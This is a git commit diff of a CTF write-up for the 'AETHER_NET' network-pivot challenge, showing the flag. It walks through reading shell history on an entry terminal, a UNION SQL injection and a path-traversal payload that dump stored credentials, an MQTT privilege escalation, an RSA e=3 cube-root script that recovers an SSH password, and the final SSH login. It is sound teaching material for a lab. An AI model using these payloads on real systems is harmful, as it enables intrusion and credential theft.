write-up: Misc/AETHER_NET/README.md

This commit is contained in:
Eun0us 2026-03-26 17:33:41 +00:00
parent 5d14fe51df
commit 35e46fd620

View File

@ -1,196 +1,197 @@
# AETHER_NET — Solution # AETHER_NET
**Difficulty:** Insane | **Category:** Misc | **Flag:** `ESPILON{4eth3r_n3t_d3us_4dm1n}` | Field | Value |
|-------|-------|
| Category | Misc |
| Difficulty | Insane |
| Points | — |
| Author | Eun0us |
| CTF | Espilon 2026 |
## Overview ---
Multi-layer network pivot challenge. 5 nodes, each requiring credentials extracted ## Description
from the previous layer. All services run inside a single Docker container exposed
on different ports.
```text Multi-layer network pivot challenge. Five nodes, each requiring credentials extracted
from the previous layer.
```
lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22 lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22
(entry hints) (SQLi) (MQTT) (RSA decrypt) (flag)
``` ```
--- ---
## Layer 01 — Entry Terminal ## TL;DR
5-layer pivot: terminal hints → SQLi on the web app (and path traversal) → custom MQTT
escalation to get RSA parameters → RSA e=3 cube root attack to recover SSH password →
SSH to deus-admin → read the flag.
---
## Tools
| Tool | Purpose |
|------|---------|
| `nc` | Access lain-terminal and bear-iot |
| `curl` | SQL injection on alice-web |
| Python 3 + `gmpy2` | RSA cube root attack |
| `ssh` | Final access to deus-admin |
---
## Solution
### Layer 01 — Entry Terminal
```bash ```bash
nc <host> 1337 nc <host> 1337
```
Read the available files:
```text
cat notes.txt cat notes.txt
cat /var/log/network.log cat /var/log/network.log
cat ~/.bash_history cat ~/.bash_history
``` ```
`notes.txt` maps the network topology and drops the key hint: `notes.txt` maps the full topology and says:
> "The search function... doesn't sanitize input. The system_config table has everything you need." > "The search function... doesn't sanitize input. The system_config table has everything."
`network.log` lists all five nodes and their ports. `.bash_history` shows partial `network.log` lists all five nodes and their ports. `.bash_history` shows partial MQTT
MQTT credentials and previous curl commands. credentials and previous curl commands.
> 📸 `[screenshot: notes.txt showing network topology map]`
--- ---
## Layer 02 — Alice-Web (SQLi) ### Layer 02 — Alice-Web (SQL Injection)
Hit the status endpoint first to confirm the hint: Confirm the hint:
```bash ```bash
curl http://<host>:8080/api/status curl http://<host>:8080/api/status
``` ```
Response confirms: `"The search endpoint passes input directly to SQLite. The system_config table contains network credentials."` Response: `"The search endpoint passes input directly to SQLite. The system_config table contains network credentials."`
### UNION SQLi on `/search?q=` **UNION SQLi on `/search?q=`:**
The query is: The query is `SELECT id, name, room, status FROM patients WHERE name LIKE '%<input>%'`
```sql
SELECT id, name, room, status FROM patients WHERE name LIKE '%<input>%'
```
Extract the entire `system_config` table:
```bash ```bash
curl "http://<host>:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--" curl "http://<host>:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--"
``` ```
URL-decoded payload: `' UNION SELECT null,key,value,description FROM system_config--` Decoded: `' UNION SELECT null,key,value,description FROM system_config--`
Response contains: Response extracts:
```json ```json
{"results": [ {"results": [
{"id": null, "name": "mqtt_user", "room": "operator", "status": "IoT broker username"}, {"id": null, "name": "mqtt_user", "room": "operator", "status": "IoT broker username"},
{"id": null, "name": "mqtt_pass", "room": "<BEAR_PASS>", "status": "IoT broker password"}, {"id": null, "name": "mqtt_pass", "room": "<BEAR_PASS>", "status": "IoT broker password"},
{"id": null, "name": "mqtt_host", "room": "bear-iot", "status": "IoT broker hostname"}, {"id": null, "name": "admin_token", "room": "<TOKEN_HEX>", "status": "24-char admin token"},
{"id": null, "name": "admin_token", "room": "<TOKEN_HEX>", "status": "..."},
... ...
]} ]}
``` ```
Collect: `mqtt_pass` and `admin_token` (the 24-char hex token). **Alternative — path traversal:**
### Alternative: path traversal
```bash ```bash
curl "http://<host>:8080/docs?file=../../var/aether/config.json" curl "http://<host>:8080/docs?file=../../var/aether/config.json"
``` ```
Reads the full instance config directly, including all credentials. Returns the full instance config with all credentials.
> 📸 `[screenshot: SQLi response returning mqtt_pass and admin_token from system_config]`
--- ---
## Layer 03 — Bear-IoT (WIRED-MQTT) ### Layer 03 — Bear-IoT (Custom MQTT)
Connect with netcat:
```bash ```bash
nc <host> 1883 nc <host> 1883
``` ```
Authenticate and escalate to admin:
```text ```text
CONNECT operator <mqtt_pass> CONNECT operator <mqtt_pass>
ADMIN <admin_token> ADMIN <admin_token>
LIST LIST
``` ```
`LIST` reveals the two hidden topics: `LIST` reveals two hidden topics:
- `wired/system/config` - `wired/system/config`
- `wired/knights/<random_10_chars>` - `wired/knights/<random_10_chars>`
Subscribe to get the RSA parameters:
```text ```text
SUBSCRIBE wired/system/config SUBSCRIBE wired/system/config
``` ```
Response includes: Response includes RSA parameters:
```text ```
RSA Public Key: RSA Public Key:
n = <512-bit decimal> n = <512-bit decimal>
e = 3 e = 3
Ciphertext (hex): <hex_string> Ciphertext (hex): <hex_string>
``` ```
Subscribe to the knights topic for the exploit hint:
```text ```text
SUBSCRIBE wired/knights/<random> SUBSCRIBE wired/knights/<random>
``` ```
Response (base64-decoded): Response (base64-decoded): *"e=3. No padding. The plaintext is short. Cube root gives the key."*
> "e=3. No padding. The plaintext is short. Cube root gives the key."
> 📸 `[screenshot: MQTT response with RSA public key and ciphertext]`
--- ---
## Layer 04 — RSA Cube Root Attack ### Layer 04 — RSA Cube Root Attack
The RSA parameters are weak by design: **Conditions for the attack:**
- `n` is 512 bits (two 256-bit primes)
- `n` is 512 bits
- `e = 3` - `e = 3`
- Plaintext `m` ≤ 20 bytes → `m < 2^160` - Plaintext `m` ≤ 20 bytes (`m < 2^160`)
- Since `m^3 < n`, the modular reduction never triggers: `c = m^3` exactly - Since `m^3 < n`, modular reduction never occurs: `c = m^3` exactly
- Therefore: `m = ∛c` (integer cube root)
Therefore: `m = ∛c` (integer cube root, no modular arithmetic needed).
```python ```python
import gmpy2, socket, struct import gmpy2
HOST = "<host>" n = <n_value>
PORT = 9443
# Connect to maxis-crypto to confirm params (or use values from Layer 03)
with socket.create_connection((HOST, PORT)) as s:
data = s.recv(4096).decode()
print(data)
# Extract n and c from the received data, then:
n = <n_value> # 512-bit integer
c = int("<ciphertext_hex>", 16) c = int("<ciphertext_hex>", 16)
m, exact = gmpy2.iroot(c, 3) m, exact = gmpy2.iroot(c, 3)
assert exact, "Cube root is not exact — attack condition failed" assert exact, "Cube root is not exact"
# Decode the password (padded to 20 bytes with null bytes)
deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode() deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode()
print(f"deus SSH password: {deus_pass}") print(f"SSH password: {deus_pass}")
``` ```
> 📸 `[screenshot: Python script computing the cube root and printing the SSH password]`
--- ---
## Layer 05 — SSH to Deus-Admin ### Layer 05 — SSH to Deus-Admin
```bash ```bash
ssh deus@<host> -p 22 ssh deus@<host> -p 22
# Enter deus_pass from Layer 04 # password from Layer 04
```
```bash
cat flag.txt cat flag.txt
``` ```
```text > 📸 `[screenshot: SSH session showing the flag in flag.txt]`
ESPILON{4eth3r_n3t_d3us_4dm1n}
```
--- ---
## Key Concepts ### Key concepts
- **UNION-based SQLi**: `' UNION SELECT ... FROM system_config--` exfiltrates internal credentials from a hidden table - **UNION-based SQLi**: `' UNION SELECT ... FROM system_config--` exfiltrates hidden credentials
- **Path traversal**: `../../var/aether/config.json` bypasses the `/docs` base directory restriction - **Path traversal**: `../../var/aether/config.json` bypasses directory restriction
- **Custom MQTT escalation**: `ADMIN <token>` command unlocks hidden broker topics unavailable to regular subscribers - **Custom MQTT escalation**: `ADMIN <token>` unlocks hidden broker topics
- **RSA e=3 cube root attack**: When `m^3 < n` (no modular reduction), the ciphertext is literally `m^3` — integer cube root recovers plaintext in O(1) - **RSA e=3 cube root attack**: When `m^3 < n` (no reduction), `c = m^3` exactly —
integer cube root recovers plaintext in O(log n) time
## Author ---
Eun0us ## Flag
`ESPILON{4eth3r_n3t_d3us_4dm1n}`